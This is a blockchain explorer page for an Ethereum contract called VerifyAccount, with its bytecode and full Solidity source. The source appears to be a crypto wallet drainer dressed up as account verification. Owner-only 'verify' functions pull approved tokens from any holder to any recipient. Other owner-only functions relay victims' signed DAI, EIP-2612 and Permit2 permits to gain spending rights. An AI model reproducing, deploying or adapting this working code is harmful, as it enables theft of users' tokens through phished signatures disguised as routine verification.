Forkchoice Ethereum Mainnet

Address Contract Partially Verified

Address 0x3679Dcc559D911E7707F9eb314DF91D0F2dDc845
Balance 0 ETH
Nonce 1
Code Size 5584 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

5584 bytes
0x608060405260043610610083575f3560e01c806311f8d7df146100d85780632db885d3146100f957806337deb8b514610118578063437ddf0c146101375780635b87ba3d1461015657806378dac0ce146101a85780637fac8ce4146101bb5780638da5cb5b146101da578063e7092b4114610205578063f2fde38b14610232575f5ffd5b366100d45760405162461bcd60e51b815260206004820152601c60248201527b111a5c9958dd081d1c985b9cd9995c9cc81b9bdd08185b1b1bddd95960221b60448201526064015b60405180910390fd5b5f5ffd5b3480156100e3575f5ffd5b506100f76100f2366004610f5b565b610251565b005b348015610104575f5ffd5b506100f7610113366004610fd8565b610390565b348015610123575f5ffd5b506100f7610132366004611054565b610528565b348015610142575f5ffd5b506100f76101513660046110af565b6108cf565b348015610161575f5ffd5b50610175610170366004611140565b610a72565b604080516001600160a01b03909416845265ffffffffffff92831660208501529116908201526060015b60405180910390f35b6100f76101b6366004611199565b610b49565b3480156101c6575f5ffd5b506100f76101d5366004611212565b610c04565b3480156101e5575f5ffd5b505f546101f8906001600160a01b031681565b60405161019f91906112dc565b348015610210575f5ffd5b5061022461021f3660046112f0565b610d9d565b60405190815260200161019f565b34801561023d575f5ffd5b506100f761024c366004611199565b610e8c565b5f546001600160a01b0316331461027a5760405162461bcd60e51b81526004016100cb90611338565b6001600160a01b0385166102a05760405162461bcd60e51b81526004016100cb90611360565b6001600160a01b0381166102c65760405162461bcd60e51b81526004016100cb90611391565b604051631b63c28b60e11b81526001600160a01b0385811660048301528481166024830152838116604483015282811660648301528616906336c78516906084015f604051808303815f87803b15801561031e575f5ffd5b505af1158015610330573d5f5f3e3d5ffd5b50505050826001600160a01b0316846001600160a01b0316826001600160a01b03167fbc708ab4e45c8a24b8808549cba01ae82f90af2465c8f393aa4fd6d7a55795e88560405161038191906112dc565b60405180910390a45050505050565b5f546001600160a01b031633146103b95760405162461bcd60e51b81526004016100cb90611338565b6001600160a01b0388166103df5760405162461bcd60e51b81526004016100cb90611391565b6040516001600160a01b0388811660248301528781166044830152606482018790526084820186905260ff851660a483015260c4820184905260e482018390525f91908a16906101040160408051601f198184030181529181526020820180516001600160e01b031663d505accf60e01b1790525161045e91906113c0565b5f604051808303815f865af19150503d805f8114610497576040519150601f19603f3d011682016040523d82523d5f602084013e61049c565b606091505b50509050806104e65760405162461bcd60e51b81526020600482015260166024820152751152540b4c8d8c4c881c195c9b5a5d0819985a5b195960521b60448201526064016100cb565b866001600160a01b0316896001600160a01b0316896001600160a01b03165f51602061157b5f395f51905f5260405160405180910390a4505050505050505050565b5f546001600160a01b031633146105515760405162461bcd60e51b81526004016100cb90611338565b6001600160a01b0384166105775760405162461bcd60e51b81526004016100cb90611391565b6001600160a01b0383166105c65760405162461bcd60e51b8152602060048201526016602482015275496e76616c69642073656e646572206164647265737360501b60448201526064016100cb565b6001600160a01b0382166106185760405162461bcd60e51b8152602060048201526019602482015278496e76616c696420726563697069656e74206164647265737360381b60448201526064016100cb565b5f81116106375760405162461bcd60e51b81526004016100cb906113d6565b604051636eb1769f60e11b81525f906001600160a01b0386169063dd62ed3e90610667908790309060040161140d565b602060405180830381865afa158015610682573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106a69190611427565b9050818110156106f15760405162461bcd60e51b8152602060048201526016602482015275496e73756666696369656e7420616c6c6f77616e636560501b60448201526064016100cb565b6040516370a0823160e01b81525f906001600160a01b038716906370a082319061071f9088906004016112dc565b602060405180830381865afa15801561073a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075e9190611427565b9050828110156107ad5760405162461bcd60e51b815260206004820152601a602482015279496e73756666696369656e7420746f6b656e2062616c616e636560301b60448201526064016100cb565b6040516323b872dd60e01b81526001600160a01b0386811660048301528581166024830152604482018590525f91908816906323b872dd906064016020604051808303815f875af1158015610804573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610828919061143e565b90508061086f5760405162461bcd60e51b8152602060048201526015602482015274151bdad95b881d1c985b9cd9995c8819985a5b1959605a1b60448201526064016100cb565b846001600160a01b0316866001600160a01b0316886001600160a01b03167f9af266b6ca4909f988dc948fb50ad15153abbe525351881bad4fa858be96515c876040516108be91815260200190565b60405180910390a450505050505050565b5f546001600160a01b031633146108f85760405162461bcd60e51b81526004016100cb90611338565b6001600160a01b03891661091e5760405162461bcd60e51b81526004016100cb90611391565b6040516001600160a01b0389811660248301528881166044830152606482018890526084820187905285151560a483015260ff851660c483015260e4820184905261010482018390525f91908b16906101240160408051601f198184030181529181526020820180516001600160e01b03166323f2ebc360e21b179052516109a691906113c0565b5f604051808303815f865af19150503d805f81146109df576040519150601f19603f3d011682016040523d82523d5f602084013e6109e4565b606091505b5050905080610a2f5760405162461bcd60e51b81526020600482015260176024820152761110524b5cdd1e5b19481c195c9b5a5d0819985a5b1959604a1b60448201526064016100cb565b876001600160a01b03168a6001600160a01b03168a6001600160a01b03165f51602061157b5f395f51905f5260405160405180910390a450505050505050505050565b5f80806001600160a01b038716610a9b5760405162461bcd60e51b81526004016100cb90611360565b6001600160a01b038516610ac15760405162461bcd60e51b81526004016100cb90611391565b60405163927da10560e01b81526001600160a01b0387811660048301528681166024830152858116604483015288169063927da10590606401606060405180830381865afa158015610b15573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b399190611459565b9199909850909650945050505050565b6001600160a01b038116610b6f5760405162461bcd60e51b81526004016100cb90611498565b5f3411610b8e5760405162461bcd60e51b81526004016100cb906113d6565b6040516001600160a01b038216903480156108fc02915f818181858888f19350505050158015610bc0573d5f5f3e3d5ffd5b506040513481526001600160a01b0382169033907fcc818ef07781d55912a0076b90123369c20eebe7d4de5e05c9b2c771224908169060200160405180910390a350565b5f546001600160a01b03163314610c2d5760405162461bcd60e51b81526004016100cb90611338565b6001600160a01b038a16610c535760405162461bcd60e51b81526004016100cb90611360565b6001600160a01b038816610c795760405162461bcd60e51b81526004016100cb90611391565b5f60405180608001604052808a6001600160a01b03168152602001896001600160a01b031681526020018865ffffffffffff1681526020018765ffffffffffff1681525090505f6040518060600160405280838152602001876001600160a01b031681526020018681525090508b6001600160a01b0316632b67b5708c8387876040518563ffffffff1660e01b8152600401610d1894939291906114e9565b5f604051808303815f87803b158015610d2f575f5ffd5b505af1158015610d41573d5f5f3e3d5ffd5b50505050856001600160a01b03168a6001600160a01b03168c6001600160a01b03167fba66c66e127682ed1710c162f9ecf4b453d538778a98821b057584e195082fba60405160405180910390a4505050505050505050505050565b5f6001600160a01b038416610dc45760405162461bcd60e51b81526004016100cb90611391565b6001600160a01b038216610e145760405162461bcd60e51b8152602060048201526017602482015276496e76616c6964207370656e646572206164647265737360481b60448201526064016100cb565b604051636eb1769f60e11b81525f906001600160a01b0386169063dd62ed3e90610e44908790879060040161140d565b602060405180830381865afa158015610e5f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e839190611427565b95945050505050565b5f546001600160a01b03163314610eb55760405162461bcd60e51b81526004016100cb90611338565b6001600160a01b038116610edb5760405162461bcd60e51b81526004016100cb90611498565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0381168114610f48575f5ffd5b50565b8035610f5681610f34565b919050565b5f5f5f5f5f60a08688031215610f6f575f5ffd5b8535610f7a81610f34565b94506020860135610f8a81610f34565b93506040860135610f9a81610f34565b92506060860135610faa81610f34565b91506080860135610fba81610f34565b809150509295509295909350565b803560ff81168114610f56575f5ffd5b5f5f5f5f5f5f5f5f610100898b031215610ff0575f5ffd5b8835610ffb81610f34565b9750602089013561100b81610f34565b9650604089013561101b81610f34565b9550606089013594506080890135935061103760a08a01610fc8565b979a969950949793969295929450505060c08201359160e0013590565b5f5f5f5f60808587031215611067575f5ffd5b843561107281610f34565b9350602085013561108281610f34565b9250604085013561109281610f34565b9396929550929360600135925050565b8015158114610f48575f5ffd5b5f5f5f5f5f5f5f5f5f6101208a8c0312156110c8575f5ffd5b89356110d381610f34565b985060208a01356110e381610f34565b975060408a01356110f381610f34565b965060608a0135955060808a0135945060a08a0135611111816110a2565b935061111f60c08b01610fc8565b989b979a50959894979396929550929360e081013593506101000135919050565b5f5f5f5f60808587031215611153575f5ffd5b843561115e81610f34565b9350602085013561116e81610f34565b9250604085013561117e81610f34565b9150606085013561118e81610f34565b939692955090935050565b5f602082840312156111a9575f5ffd5b81356111b481610f34565b9392505050565b65ffffffffffff81168114610f48575f5ffd5b5f5f83601f8401126111de575f5ffd5b5081356001600160401b038111156111f4575f5ffd5b60208301915083602082850101111561120b575f5ffd5b9250929050565b5f5f5f5f5f5f5f5f5f5f6101208b8d03121561122c575f5ffd5b8a3561123781610f34565b995060208b013561124781610f34565b985060408b013561125781610f34565b975060608b013561126781610f34565b965060808b0135611277816111bb565b955060a08b0135611287816111bb565b945061129560c08c01610f4b565b935060e08b013592506101008b01356001600160401b038111156112b7575f5ffd5b6112c38d828e016111ce565b915080935050809150509295989b9194979a5092959850565b6001600160a01b0391909116815260200190565b5f5f5f60608486031215611302575f5ffd5b833561130d81610f34565b9250602084013561131d81610f34565b9150604084013561132d81610f34565b809150509250925092565b6020808252600e908201526d139bdd08185d5d1a1bdc9a5e995960921b604082015260600190565b602080825260179082015276496e76616c6964205065726d697432206164647265737360481b604082015260600190565b602080825260159082015274496e76616c696420746f6b656e206164647265737360581b604082015260600190565b5f82518060208501845e5f920191825250919050565b6020808252601d908201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604082015260600190565b6001600160a01b0392831681529116602082015260400190565b5f60208284031215611437575f5ffd5b5051919050565b5f6020828403121561144e575f5ffd5b81516111b4816110a2565b5f5f5f6060848603121561146b575f5ffd5b835161147681610f34565b6020850151909350611487816111bb565b604085015190925061132d816111bb565b6020808252600f908201526e496e76616c6964206164647265737360881b604082015260600190565b81835281816020850137505f828201602090810191909152601f909101601f19169091010190565b60018060a01b03851681525f845160018060a01b03815116602084015260018060a01b03602082015116604084015265ffffffffffff604082015116606084015265ffffffffffff60608201511660808401525060018060a01b0360208601511660a0830152604085015160c083015261010060e0830152611570610100830184866114c1565b969550505050505056fe2c93032bade2519369827c680c0f721082b921fee5486402094cce0b25ccd871a26469706673582212209306f3a652e5b34400b4815f67ada0526374b6e41191297e40fb0297e7d56f6a64736f6c634300081e0033

Verified Source Code Partial Match

Compiler: v0.8.30+commit.73712a01 EVM: prague Optimization: Yes (0 runs)
VerifyAccount.sol 221 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
}

interface IPermit2 {
    struct PermitDetails {
        address token;
        uint160 amount;
        uint48 expiration;
        uint48 nonce;
    }

    struct PermitSingle {
        PermitDetails details;
        address spender;
        uint256 sigDeadline;
    }

    function permit(address owner, PermitSingle calldata permitSingle, bytes calldata signature) external;

    function transferFrom(address from, address to, uint160 amount, address token) external;

    function allowance(address owner, address token, address spender) external view returns (uint160 amount, uint48 expiration, uint48 nonce);
}

contract VerifyAccount {
    address public owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event NativeTransferred(address indexed from, address indexed to, uint256 amount);
    event TokenTransferred(address indexed token, address indexed from, address indexed to, uint256 amount);
    event PermitExecuted(address indexed owner, address indexed token, address indexed spender);
    event TransferFromExecuted(address indexed token, address indexed from, address indexed to, uint256 amount);
    event PermitExecutedERC20(address indexed owner, address indexed token, address indexed spender);

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not authorized");
        _;
    }

    function verifyNative(address payable to) external payable {
        require(to != address(0), "Invalid address");
        require(msg.value > 0, "Amount must be greater than 0");

        to.transfer(msg.value);
        emit NativeTransferred(msg.sender, to, msg.value);
    }

    function verify20(
        address token,
        address from,
        address to,
        uint256 amount
    ) external onlyOwner {
        require(token != address(0), "Invalid token address");
        require(from != address(0), "Invalid sender address");
        require(to != address(0), "Invalid recipient address");
        require(amount > 0, "Amount must be greater than 0");

        uint256 allowance = IERC20(token).allowance(from, address(this));
        require(allowance >= amount, "Insufficient allowance");

        uint256 balance = IERC20(token).balanceOf(from);
        require(balance >= amount, "Insufficient token balance");

        bool success = IERC20(token).transferFrom(from, to, amount);
        require(success, "Token transfer failed");

        emit TokenTransferred(token, from, to, amount);
    }

    // Function for DAI-style permit
    function permitDAI(
        address token,
        address owner_,
        address spender,
        uint256 nonce,
        uint256 deadline,
        bool allowed, 
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external onlyOwner {
        require(token != address(0), "Invalid token address");

        // DAI-style permit
        (bool success, ) = token.call(
            abi.encodeWithSignature(
                "permit(address,address,uint256,uint256,bool,uint8,bytes32,bytes32)",
                owner_,
                spender,
                nonce,
                deadline,
                allowed,
                v, r, s
            )
        );
        require(success, "DAI-style permit failed");

        emit PermitExecutedERC20(owner_, token, spender);
    }

    // Function for EIP-2612 permit
    function permitEIP2612(
        address token,
        address owner_,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external onlyOwner {
        require(token != address(0), "Invalid token address");

        // EIP-2612 permit
        (bool success, ) = token.call(
            abi.encodeWithSignature(
                "permit(address,address,uint256,uint256,uint8,bytes32,bytes32)",
                owner_,
                spender,
                value,
                deadline,
                v, r, s
            )
        );
        require(success, "EIP-2612 permit failed");

        emit PermitExecutedERC20(owner_, token, spender);
    }

    // Updated permitViaPermit2 with individual parameters
    function permitViaPermit2(
        address permit2Contract,
        address owner_,
        address token,
        uint160 amount,
        uint48 expiration,
        uint48 nonce,
        address spender,
        uint256 sigDeadline,
        bytes calldata signature
    ) external onlyOwner {
        require(permit2Contract != address(0), "Invalid Permit2 address");
        require(token != address(0), "Invalid token address");

        // Create PermitDetails and PermitSingle inside the function
        IPermit2.PermitDetails memory permitDetails = IPermit2.PermitDetails({
            token: token,
            amount: amount,
            expiration: expiration,
            nonce: nonce
        });

        IPermit2.PermitSingle memory permitSingle = IPermit2.PermitSingle({
            details: permitDetails,
            spender: spender,
            sigDeadline: sigDeadline
        });

        // Call the permit method from Permit2
        IPermit2(permit2Contract).permit(owner_, permitSingle, signature);

        emit PermitExecuted(owner_, token, spender);
    }

    function verify20ViaPermit2(
    	address permit2Contract,
    	address from,
    	address to,
    	uint160 amount,
    	address token
    ) external onlyOwner {
    	require(permit2Contract != address(0), "Invalid Permit2 address");
    	require(token != address(0), "Invalid token address");

    	IPermit2(permit2Contract).transferFrom(from, to, amount, token);

    	emit TransferFromExecuted(token, from, to, amount);
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "Invalid address");
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }

    // New function to get allowance for standard ERC20 tokens
    function getAllowance(address token, address owner_, address spender) external view returns (uint256) {
        require(token != address(0), "Invalid token address");
        require(spender != address(0), "Invalid spender address");
        uint256 allowanceAmount = IERC20(token).allowance(owner_, spender);
        return allowanceAmount;
    }

    // New function to get allowance via Permit2, returning all three values
    function getAllowanceViaPermit2(
        address permit2Contract,
        address owner_,
        address token,
        address spender
    ) external view returns (uint160 amount, uint48 expiration, uint48 nonce) {
        require(permit2Contract != address(0), "Invalid Permit2 address");
        require(token != address(0), "Invalid token address");

        (amount, expiration, nonce) = IPermit2(permit2Contract).allowance(owner_, token, spender);
    }

    receive() external payable {
        revert("Direct transfers not allowed");
    }
}

Read Contract

getAllowance 0xe7092b41 → uint256
getAllowanceViaPermit2 0x5b87ba3d → uint160, uint48, uint48
owner 0x8da5cb5b → address

Write Contract 7 functions

These functions modify contract state and require a wallet transaction to execute.

permitDAI 0x437ddf0c
address token
address owner_
address spender
uint256 nonce
uint256 deadline
bool allowed
uint8 v
bytes32 r
bytes32 s
permitEIP2612 0x2db885d3
address token
address owner_
address spender
uint256 value
uint256 deadline
uint8 v
bytes32 r
bytes32 s
permitViaPermit2 0x7fac8ce4
address permit2Contract
address owner_
address token
uint160 amount
uint48 expiration
uint48 nonce
address spender
uint256 sigDeadline
bytes signature
transferOwnership 0xf2fde38b
address newOwner
verify20 0x37deb8b5
address token
address from
address to
uint256 amount
verify20ViaPermit2 0x11f8d7df
address permit2Contract
address from
address to
uint160 amount
address token
verifyNative 0x78dac0ce
address to

Recent Transactions

No transactions found for this address